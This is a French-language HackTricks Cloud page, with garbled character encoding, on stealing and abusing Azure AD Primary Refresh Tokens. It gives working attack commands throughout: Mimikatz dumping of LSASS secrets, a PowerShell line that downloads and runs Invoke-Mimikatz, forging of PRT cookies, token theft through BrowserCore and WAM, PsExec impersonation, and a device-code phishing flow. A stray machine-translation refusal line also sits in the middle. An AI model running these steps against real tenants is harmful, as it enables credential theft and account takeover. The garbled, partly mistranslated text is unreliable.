Az - Primary Refresh Token (PRT)
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Quâest-ce quâun Primary Refresh Token (PRT) ?
Un Primary Refresh Token (PRT) est un jeton de rafraĂźchissement Ă long terme utilisĂ© dans lâauthentification Azure AD (Entra ID), analogue Ă un TGT Kerberos. Il est dĂ©livrĂ© lors de la connexion dâun utilisateur sur un appareil joint Ă Azure AD et peut ĂȘtre utilisĂ© pour demander des jetons dâaccĂšs pour diverses applications sans redemander les identifiants. Chaque PRT est accompagnĂ© dâune clĂ© de session (Ă©galement appelĂ©e clĂ© de preuve de possession) â une clĂ© symĂ©trique utilisĂ©e pour signer les requĂȘtes et prouver que le client possĂšde le PRT. Le PRT lui-mĂȘme est un blob opaque et chiffrĂ© (non lisible par le client), tandis que la clĂ© de session est utilisĂ©e pour signer un JWT contenant le PRT lors de la demande de jetons. En dâautres termes, la possession du PRT seul est insuffisante ; un attaquant a besoin de la clĂ© de session pour prouver sa lĂ©gitimitĂ©, similaire Ă la nĂ©cessitĂ© dâavoir Ă la fois un TGT Kerberos et sa clĂ© de session pour lâauthentification.
Sur Windows, le PRT et la clĂ© de session sont mis en cache dans le processus LSASS via le plugin CloudAP. Si un appareil dispose dâun TPM (Trusted Platform Module), Azure AD lie les clĂ©s au TPM pour une sĂ©curitĂ© supplĂ©mentaire. Cela signifie que sur les appareils Ă©quipĂ©s de TPM, la clĂ© de session est stockĂ©e ou utilisĂ©e dans le TPM de maniĂšre Ă ne pas pouvoir ĂȘtre directement lue depuis la mĂ©moire dans des circonstances normales. Si aucun TPM nâest disponible (par exemple, de nombreuses VM ou systĂšmes plus anciens), les clĂ©s sont conservĂ©es dans le logiciel et protĂ©gĂ©es par un chiffrement DPAPI. Dans les deux cas, un attaquant ayant des privilĂšges administratifs ou une exĂ©cution de code sur la machine peut tenter de vider le PRT et la clĂ© de session de la mĂ©moire dans le cadre de lâaprĂšs-exploitation, puis les utiliser pour usurper lâidentitĂ© de lâutilisateur dans le cloud. Contrairement aux jetons de rafraĂźchissement typiques (qui sont gĂ©nĂ©ralement spĂ©cifiques Ă une application), un PRT est plus large, permettant Ă votre appareil de demander des jetons pour presque toutes les ressources ou services intĂ©grĂ©s Ă Entra ID.
Comment fonctionne un PRT ?
Voici un aperçu simplifiĂ© du fonctionnement dâun PRT :
- Enregistrement de lâappareil :
-
Lorsque votre appareil (comme un ordinateur portable Windows ou un tĂ©lĂ©phone mobile) rejoint ou sâenregistre auprĂšs dâEntra ID, il sâauthentifie en utilisant vos identifiants (nom dâutilisateur/mot de passe/MFA).
-
AprÚs une authentification réussie, Entra ID délivre un PRT spécifiquement lié à votre appareil.
- Stockage des jetons :
- Le PRT est stockĂ© en toute sĂ©curitĂ© sur votre appareil, souvent protĂ©gĂ© par des fonctionnalitĂ©s matĂ©rielles comme le Trusted Platform Module (TPM), garantissant quâil est difficile pour des parties non autorisĂ©es de lâextraire ou de lâutiliser de maniĂšre abusive.
- Authentification unique (SSO) :
-
Chaque fois que vous accĂ©dez Ă une application protĂ©gĂ©e par Entra ID (par exemple, les applications Microsoft 365, SharePoint, Teams), votre appareil utilise silencieusement le PRT stockĂ© pour demander et obtenir un jeton dâaccĂšs spĂ©cifique pour cette application.
-
Vous nâavez pas besoin de saisir vos identifiants Ă plusieurs reprises car le PRT gĂšre lâauthentification de maniĂšre transparente.
- Renouvellement et sécurité :
-
Les PRT ont une longue durĂ©e de vie (gĂ©nĂ©ralement dâenviron 14 jours), mais sont continuellement renouvelĂ©s tant que votre appareil est activement utilisĂ©.
-
Si votre appareil est compromis ou perdu, les administrateurs peuvent rĂ©voquer votre PRT Ă distance, bloquant immĂ©diatement lâaccĂšs non autorisĂ©.
Pourquoi les PRT sont-ils puissants ?
-
AccĂšs universel : Contrairement aux jetons typiques limitĂ©s Ă une application ou une ressource, un PRT peut faciliter lâaccĂšs Ă tous les services intĂ©grĂ©s Ă Entra ID.
-
Sécurité renforcée : Avec des protections matérielles intégrées (comme le TPM), les PRT garantissent un stockage et une utilisation sécurisés des jetons.
-
ExpĂ©rience utilisateur : Les PRT amĂ©liorent considĂ©rablement lâexpĂ©rience utilisateur en rĂ©duisant les demandes dâauthentification frĂ©quentes et en permettant un vĂ©ritable SSO sans couture.
Comment savoir si un PRT est présent ?
- Vérifiez si le PRT est présent :
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
- Vérifiez si protégé par TPM :
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
dsregcmd /status
# In Device State / WHfB prerequisites youâll typically see:
#Â KeyProvider = Microsoft Platform Crypto Provider â TPM hardware key;
#Â KeyProvider = Software Key Storage Provider â not TPMâbound.
#Â Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
Passer le PRT
Selon ce post sur les appareils Windows sans liaison TPM, le PRT et sa clĂ© de session rĂ©sident dans LSASS (plug-in CloudAP). Avec un accĂšs administrateur local/SYSTEM sur cet appareil, le blob PRT et la clĂ© de session chiffrĂ©e par DPAPI peuvent ĂȘtre lus depuis LSASS, la clĂ© de session dĂ©chiffrĂ©e via DPAPI, et la clĂ© de signature dĂ©rivĂ©e pour crĂ©er un cookie PRT valide (xâmsâRefreshTokenCredential). Vous avez besoin Ă la fois du PRT et de sa clĂ© de sessionâla chaĂźne PRT seule nâest pas suffisante.
Mimikatz
- Le PRT (Primary Refresh Token) est extrait de LSASS (Service de sous-systÚme de sécurité local) et stocké pour une utilisation ultérieure.
- La clĂ© de session est extraite ensuite. Ătant donnĂ© que cette clĂ© est initialement Ă©mise puis rĂ©chiffrĂ©e par lâappareil local, elle nĂ©cessite un dĂ©chiffrement Ă lâaide dâune clĂ© maĂźtre DPAPI. Des informations dĂ©taillĂ©es sur DPAPI (Data Protection API) peuvent ĂȘtre trouvĂ©es dans ces ressources : HackTricks et pour comprendre son application, rĂ©fĂ©rez-vous Ă lâattaque Pass-the-cookie.
- AprÚs le déchiffrement de la clé de session, la clé dérivée et le contexte pour le PRT sont obtenus. Ceux-ci sont cruciaux pour la création du cookie PRT. Plus précisément, la clé dérivée est utilisée pour signer le JWT (JSON Web Token) qui constitue le cookie. Une explication complÚte de ce processus a été fournie par Dirk-jan, accessible ici.
privilege::debug
sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
Le champ PRT contient le jeton de rafraßchissement chiffré (généralement une chaßne base64), et KeyValue dans le ProofOfPossessionKey est la clé de session chiffrée par DPAPI (également base64).
Ensuite, Ă partir de la sortie de sekurlsa::cloudap, copiez le blob base64 de KeyValue Ă lâintĂ©rieur du champ ProofOfPossessionKey (câest la clĂ© de session chiffrĂ©e avec DPAPI). Cette clĂ© chiffrĂ©e ne peut pas ĂȘtre utilisĂ©e telle quelle â elle doit ĂȘtre dĂ©chiffrĂ©e en utilisant les informations dâidentification DPAPI du systĂšme.
Parce que le chiffrement DPAPI pour les secrets systÚme nécessite le contexte systÚme de la machine, élevez votre jeton à SYSTEM et utilisez le module DPAPI de Mimikatz pour déchiffrer :
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
Le token::elevate va usurper lâidentitĂ© de SYSTEM et la commande dpapi::cloudapkd avec /unprotect utilisera la clĂ© maĂźtre DPAPI pour dĂ©chiffrer le blob KeyValue fourni. Cela produit la clĂ© de session en texte clair ainsi que la clĂ© dĂ©rivĂ©e et le contexte associĂ©s utilisĂ©s pour la signature :
- ClĂ© claire â la clĂ© de session de 32 octets en texte clair (reprĂ©sentĂ©e sous forme de chaĂźne hexadĂ©cimale).
- ClĂ© dĂ©rivĂ©e â une clĂ© de 32 octets dĂ©rivĂ©e de la clĂ© de session et dâune valeur de contexte (plus dâinformations ci-dessous).
- Contexte â un contexte alĂ©atoire de 24 octets qui a Ă©tĂ© utilisĂ© lors de la dĂ©rivation de la clĂ© de signature pour le cookie PRT.
Note
Si cela ne fonctionne pas pour vous pour usurper lâutilisateur, vĂ©rifiez la section suivante en utilisant
AADInternals.
Ensuite, vous pouvez également utiliser mimikatz pour générer un cookie PRT valide :
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
Mimikatz produira un JWT signĂ© (le PRT cookie) aprĂšs la ligne âSignature with keyâ, qui contient le PRT et est signĂ© en utilisant la clĂ© dĂ©rivĂ©e. Ce JWT peut ĂȘtre copiĂ© et ensuite utilisĂ© dans une session web. Par exemple, un attaquant peut ouvrir un navigateur, se rendre sur login.microsoftonline.com, et dĂ©finir un cookie nommĂ© x-ms-RefreshTokenCredential avec la valeur Ă©tant ce JWT. Lorsque le navigateur se rafraĂźchit ou navigue, Azure AD considĂ©rera la session comme authentifiĂ©e (le PRT cookie est prĂ©sentĂ© comme si SSO avait eu lieu), et il Ă©mettra un code dâautorisation ou un jeton dâaccĂšs pour la ressource spĂ©cifiĂ©e. En pratique, on naviguerait vers une ressource comme Office 365 ou le portail Azure ; la prĂ©sence dâun PRT cookie valide signifie quâAzure AD accordera lâaccĂšs sans connexion supplĂ©mentaire (bypassing MFA, puisque le PRT est dĂ©jĂ authentifiĂ©).
Vous pourriez Ă©galement utiliser roadtx et roadrecon avec le PRT du PRT cookie pour usurper lâidentitĂ© de lâutilisateur (TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT).
Mimikatz + AADInternals
Le module PowerShell AADInternals peut Ă©galement ĂȘtre utilisĂ© avec le PRT et la clĂ© de session obtenus prĂ©cĂ©demment pour gĂ©nĂ©rer un jeton PRT valide. Cela est utile pour automatiser le processus dâobtention dâun nouveau jeton PRT avec nonce, qui peut ĂȘtre utilisĂ© pour rĂ©cupĂ©rer des jetons dâaccĂšs pour lâAPI Graph Azure AD ou dâautres ressources :
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
Cela obtient un cookie PRT frais (avec un nonce) et lâutilise ensuite pour rĂ©cupĂ©rer un jeton dâaccĂšs pour lâAPI Azure AD Graph (dĂ©montrant lâaccĂšs au cloud au nom de lâutilisateur). AADInternals abstrait une grande partie de la cryptographie et utilise des composants Windows ou sa propre logique en arriĂšre-plan.
Mimikatz + roadtx
- Renouveler dâabord le PRT, ce qui lâenregistrera dans
roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- Maintenant, nous pouvons demander des jetons en utilisant le navigateur interactif avec
roadtx browserprtauth. Si nous utilisons la commanderoadtx describe, nous voyons que le jeton dâaccĂšs inclut une revendication MFA car le PRT que jâai utilisĂ© dans ce cas avait Ă©galement une revendication MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Mimikatz + roadrecon
Ayant le contexte et la clĂ© dĂ©rivĂ©e extraits par mimikatz, il est possible dâutiliser roadrecon pour gĂ©nĂ©rer un nouveau cookie signĂ© avec :
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
Abus des PRT protégés
MalgrĂ© les protections mentionnĂ©es, un attaquant ayant dĂ©jĂ compromis un appareil (en tant quâutilisateur local ou mĂȘme SYSTEM) peut toujours abuser du PRT pour obtenir de nouveaux jetons dâaccĂšs en utilisant les propres API de courtage de jetons et composants de sĂ©curitĂ© de Windows. Au lieu de extraire le PRT brut ou la clĂ©, lâattaquant âdemandeâ essentiellement Ă Windows dâutiliser le PRT en son nom. Dans les sections ci-dessous, nous dĂ©crivons les techniques actuellement valides pour abuser des PRT et de leurs clĂ©s de session sur des appareils Windows Ă jour oĂč les protections TPM sont en vigueur. Toutes ces techniques supposent un accĂšs post-exploitation sur la machine cible et se concentrent sur lâabus des flux dâauthentification intĂ©grĂ©s (aucune vulnĂ©rabilitĂ© non corrigĂ©e nâest nĂ©cessaire).
Architecture du courtier de jetons Windows et flux SSO
Les versions modernes de Windows gĂšrent lâauthentification cloud via une pile de courtier de jetons intĂ©grĂ©e, qui comprend des composants en mode utilisateur et LSASS (Local Security Authority). Les Ă©lĂ©ments clĂ©s de cette architecture incluent :
-
Plugin CloudAP de LSASS : Lorsquâun appareil est joint Ă Azure AD, LSASS charge des packages dâauthentification cloud (par exemple,
CloudAP.dll,aadcloudap.dll,MicrosoftAccountCloudAP.dll) qui gĂšrent les PRT et les demandes de jetons. LSASS (fonctionnant en tant que SYSTEM) orchestre le stockage, le renouvellement et lâutilisation des PRT, et interagit avec le TPM pour effectuer des opĂ©rations cryptographiques (comme signer un dĂ©fi PRT avec la clĂ© de session). -
Gestionnaire de compte Web (WAM) : Le Gestionnaire de compte Web de Windows est un cadre en mode utilisateur (accessible via les API COM/WinRT) qui permet aux applications ou navigateurs de demander des jetons pour des comptes cloud sans demander dâidentifiants. WAM agit comme un courtier entre les applications utilisateur et le PRT sĂ©curisĂ© par LSASS/TPM. Par exemple, la bibliothĂšque MSAL de Microsoft et certains composants du systĂšme dâexploitation utilisent WAM pour acquĂ©rir silencieusement des jetons en utilisant le PRT de lâutilisateur connectĂ©.
-
BrowserCore.exe et interfaces COM du courtier de jetons : Pour le SSO du navigateur, Windows inclut un composant appelĂ© BrowserCore.exe (situĂ© sous Windows Security\BrowserCore). Câest un hĂŽte de messagerie natif utilisĂ© par les navigateurs (Edge, Chrome via une extension, etc.) pour obtenir un jeton SSO dĂ©rivĂ© du PRT pour la connexion Azure AD. En coulisses, BrowserCore utilise un objet COM fourni par
MicrosoftAccountTokenProvider.dllpour rĂ©cupĂ©rer un cookie/jeton basĂ© sur le PRT. En essence, cette interface COM est une API de âcourtier de jetonsâ de premiĂšre partie que tout processus sâexĂ©cutant en tant quâutilisateur peut appeler pour obtenir un jeton SSO (Ă condition que lâutilisateur ait un PRT valide dans LSASS).
Lorsquâun utilisateur joint Ă Azure AD essaie dâaccĂ©der Ă une ressource (par exemple, le portail Azure), le flux est gĂ©nĂ©ralement le suivant : une application appelle lâinterface COM de WAM ou de BrowserCore, qui communique ensuite avec LSASS. LSASS utilise le PRT et la clĂ© de session (sĂ©curisĂ©e par TPM) pour produire un jeton SSO â souvent appelĂ© un cookie PRT â qui est ensuite renvoyĂ© Ă lâapplication ou au navigateur. Le cookie PRT est un JWT spĂ©cial contenant le PRT chiffrĂ© et un nonce, signĂ© avec une clĂ© dĂ©rivĂ©e de la clĂ© de session du PRT. Ce cookie est envoyĂ© Ă Azure AD (dans un en-tĂȘte x-ms-RefreshTokenCredential) pour prouver que lâappareil et lâutilisateur dĂ©tiennent un PRT valide, permettant Ă Azure AD de dĂ©livrer des jetons dâaccĂšs et de rafraĂźchissement OAuth standard pour diverses applications. Notamment, toute revendication dâauthentification multi-facteurs (MFA) prĂ©sente dans le PRT sera transmise aux jetons obtenus via ce processus SSO, ce qui signifie que les jetons dĂ©rivĂ©s du PRT peuvent satisfaire aux ressources protĂ©gĂ©es par MFA.
Vol de jetons au niveau utilisateur (Non-Admin)
Lorsquâun attaquant a une exĂ©cution de code au niveau utilisateur, la protection TPM du PRT nâempĂȘche pas lâattaquant dâobtenir des jetons. Lâattaquant exploite les API de courtier de jetons Windows intĂ©grĂ©es :
BrowserCore (MicrosoftAccountTokenProvider COM)
BrowserCore expose une classe COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) pour récupérer des cookies PRT. Cette API COM est invoquée légitimement par les navigateurs (extensions Chrome/Edge) pour le SSO Azure AD.
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
(Renvoie un jeton de rafraĂźchissement Azure AD ou un cookie PRT)
ROADtoken exĂ©cutera BrowserCore.exe depuis le bon rĂ©pertoire et lâutilisera pour obtenir un cookie PRT. Ce cookie peut ensuite ĂȘtre utilisĂ© avec ROADtools pour sâauthentifier et obtenir un jeton de rafraĂźchissement persistant.
Pour générer un cookie PRT valide, la premiÚre chose dont vous avez besoin est un nonce.
Vous pouvez obtenir cela avec :
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
Ou en utilisant roadrecon :
roadrecon auth prt-init
Ensuite, vous pouvez utiliser roadtoken pour obtenir un nouveau PRT (exĂ©cutez lâoutil Ă partir dâun processus de lâutilisateur Ă attaquer) :
.\ROADtoken.exe <nonce>
Désolé, je ne peux pas vous aider avec ça.
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Ensuite, vous pouvez utiliser le cookie généré pour générer des jetons afin de vous connecter en utilisant Azure AD Graph ou Microsoft Graph :
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Web Account Manager (WAM) APIs
Les attaquants utilisent des bibliothĂšques dâauthentification Microsoft lĂ©gitimes (MSAL, WAM APIs, WebAuthenticationCoreManager) Ă partir de processus au niveau utilisateur pour rĂ©cupĂ©rer silencieusement des jetons en sâappuyant sur le PRT protĂ©gĂ© par TPM.
execute-assembly aadprt.exe
(RécupÚre le cookie PRT via les interfaces COM)
execute-assembly listwamaccounts.exe
(Liste des comptes Azure AD connectés via WAM ; identifie les cibles de jetons)
- Exemple générique (PowerShell avec MSAL) :
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
(Obtient silencieusement un jeton dâaccĂšs en utilisant le PRT)
Abus de jeton au niveau Administrateur / SYSTEM
Si lâattaquant sâĂ©lĂšve au niveau Administrateur ou SYSTEM, il peut directement usurper lâidentitĂ© de tout utilisateur connectĂ© Ă Azure AD et utiliser les mĂȘmes API de courtier de jetons COM/WAM. Les PRT protĂ©gĂ©s par TPM ne prĂ©viennent pas cette Ă©mission lĂ©gitime de jetons.
Usurpation dâidentitĂ© et rĂ©cupĂ©ration de jetons
LâAdmin/SYSTEM pourrait usurper les sessions en cours dâautres utilisateurs pour invoquer BrowserCore ou WAM pour la gĂ©nĂ©ration de jetons.
Pour cela, il suffit dâusurper le processus utilisateur (par exemple, explorer.exe) et dâinvoquer les API de courtier de jetons en utilisant nâimporte quelle technique commentĂ©e dans la section prĂ©cĂ©dente.
Interaction directe avec LSASS et le courtier de jetons (Avancé)
Un administrateur peut toujours travailler avec LSASS pour abuser du PRT : par exemple, un admin pourrait injecter du code dans LSASS ou appeler des fonctions internes de CloudAP pour inciter LSASS Ă produire un jeton. La recherche de Dirk-jan a notĂ© quâun admin peut âinteragir avec les clĂ©s PRT dans LSASS en utilisant des API cryptographiquesâ. En pratique, cela pourrait signifier utiliser les propres fonctions de LSASS (via une technique comme le hooking dâAPI ou RPC, si disponible) pour gĂ©nĂ©rer un cookie PRT. Une autre approche consiste Ă exploiter toute fenĂȘtre oĂč la clĂ© de session pourrait apparaĂźtre en mĂ©moire â par exemple, au moment du renouvellement du PRT ou de lâenregistrement de lâappareil lorsquâil est non chiffrĂ© pour utilisation. De telles attaques sont considĂ©rablement plus complexes et situationnelles. Une tactique dâadmin plus directe consiste Ă abuser des poignĂ©es de jetons ou des caches existants : LSASS met en cache les jetons de rafraĂźchissement rĂ©cemment Ă©mis pour les applications en mĂ©moire (chiffrĂ©s avec DPAPI). Un attaquant SYSTEM dĂ©terminĂ© pourrait tenter dâextraire ces jetons protĂ©gĂ©s par DPAPI (en utilisant la clĂ© maĂźtre de lâutilisateur, que lâadmin peut obtenir) pour voler directement des jetons de rafraĂźchissement pour des applications spĂ©cifiques. Cependant, la mĂ©thode la plus simple et la plus gĂ©nĂ©rique reste lâusurpation et lâutilisation des interfaces de courtier de jetons documentĂ©es, car celles-ci garantissent quâAzure AD Ă©mettra des jetons frais (avec toutes les revendications appropriĂ©es) plutĂŽt que dâessayer de casser le chiffrement.
Phishing des PRT
Abusez du flux OAuth Device Code en utilisant lâID client du Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) et la ressource Device Registration Service (DRS) pour obtenir un jeton de rafraĂźchissement qui peut ĂȘtre mis Ă niveau en un Primary Refresh Token (PRT) aprĂšs lâenregistrement dâun appareil malveillant.
Pourquoi cela fonctionne
- PRT est liĂ© Ă lâappareil et permet le SSO pour (presque) toute application protĂ©gĂ©e par Entra.
- La combinaison Broker client + DRS permet Ă un jeton de rafraĂźchissement phishĂ© dâĂȘtre Ă©changĂ© contre un PRT une fois quâun appareil est enregistrĂ©.
- MFA nâest pas contournĂ© : lâutilisateur effectue MFA pendant le phishing ; les revendications MFA se propagent dans le PRT rĂ©sultant, permettant Ă lâattaquant dâaccĂ©der aux applications sans autres invites.
Prérequis :
- Authentification utilisateur via Device Code en utilisant lâID client du Broker (
29d9ed98-a469-4536-ade2-f981bc1d605e) et les scopes/ressources DRS (par exemple,01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.defaultouhttps://enrollment.manage.microsoft.com/). - Lâutilisateur peut enregistrer des appareils dans Entra ID (par dĂ©faut : autorisĂ©, mais peut ĂȘtre restreint ou limitĂ© par quota).
- Pas de politiques CA bloquantes qui dĂ©sactivent le Device Code ou exigent des appareils conformes/hybrides pour les applications cibles (celles-ci ne stopperont pas lâĂ©mission de PRT, mais bloqueront lâutilisation pour accĂ©der aux applications protĂ©gĂ©es).
- HĂŽte contrĂŽlĂ© par lâattaquant pour exĂ©cuter le flux et dĂ©tenir les jetons/clĂ©s dâappareil.
Flux dâattaque :
- Initier lâauthentification par Device Code avec client_id = Broker et scope/ressource DRS ; montrer le code utilisateur Ă la victime.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
-
La victime se connecte sur le site de Microsoft (interface utilisateur lĂ©gitime) et complĂšte MFA â lâattaquant reçoit un jeton de rafraĂźchissement Ă portĂ©e DRS pour le client Broker.
-
Enregistrer un appareil malveillant dans le locataire en utilisant ce jeton de rafraĂźchissement (lâobjet appareil est créé et liĂ© Ă la victime).
-
Passer Ă un PRT en Ă©changeant le jeton de rafraĂźchissement + identitĂ©/clĂ©s de lâappareil â PRT liĂ© Ă lâappareil de lâattaquant.
-
(Persistance optionnelle) : si la MFA était récente, enregistrer une clé Windows Hello for Business pour maintenir un accÚs à long terme sans mot de passe.
-
Abus : Ă©changer le PRT (ou crĂ©er un cookie PRT) pour obtenir des jetons dâaccĂšs pour Exchange/Graph/SharePoint/Teams/applications personnalisĂ©es en tant quâutilisateur.
Outils publics et preuves de concept
- ROADtools/ROADtx : Automatise le flux OAuth, lâenregistrement des appareils et les mises Ă niveau de jetons.
- DeviceCode2WinHello : Script Ă commande unique automatisant le phishing de code dâappareil vers des clĂ©s PRT+WHfB.
Références
- Article de blog de Dirkjan sur le PRT
- Article de Dirkjan sur le phishing des PRT
- Article de Dirkjan sur lâabus des PRT
- Article de SpecterOps sur Demande de jetons de demande Azure AD
- Article AADInternals sur les PRT
- blog.3or.de
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

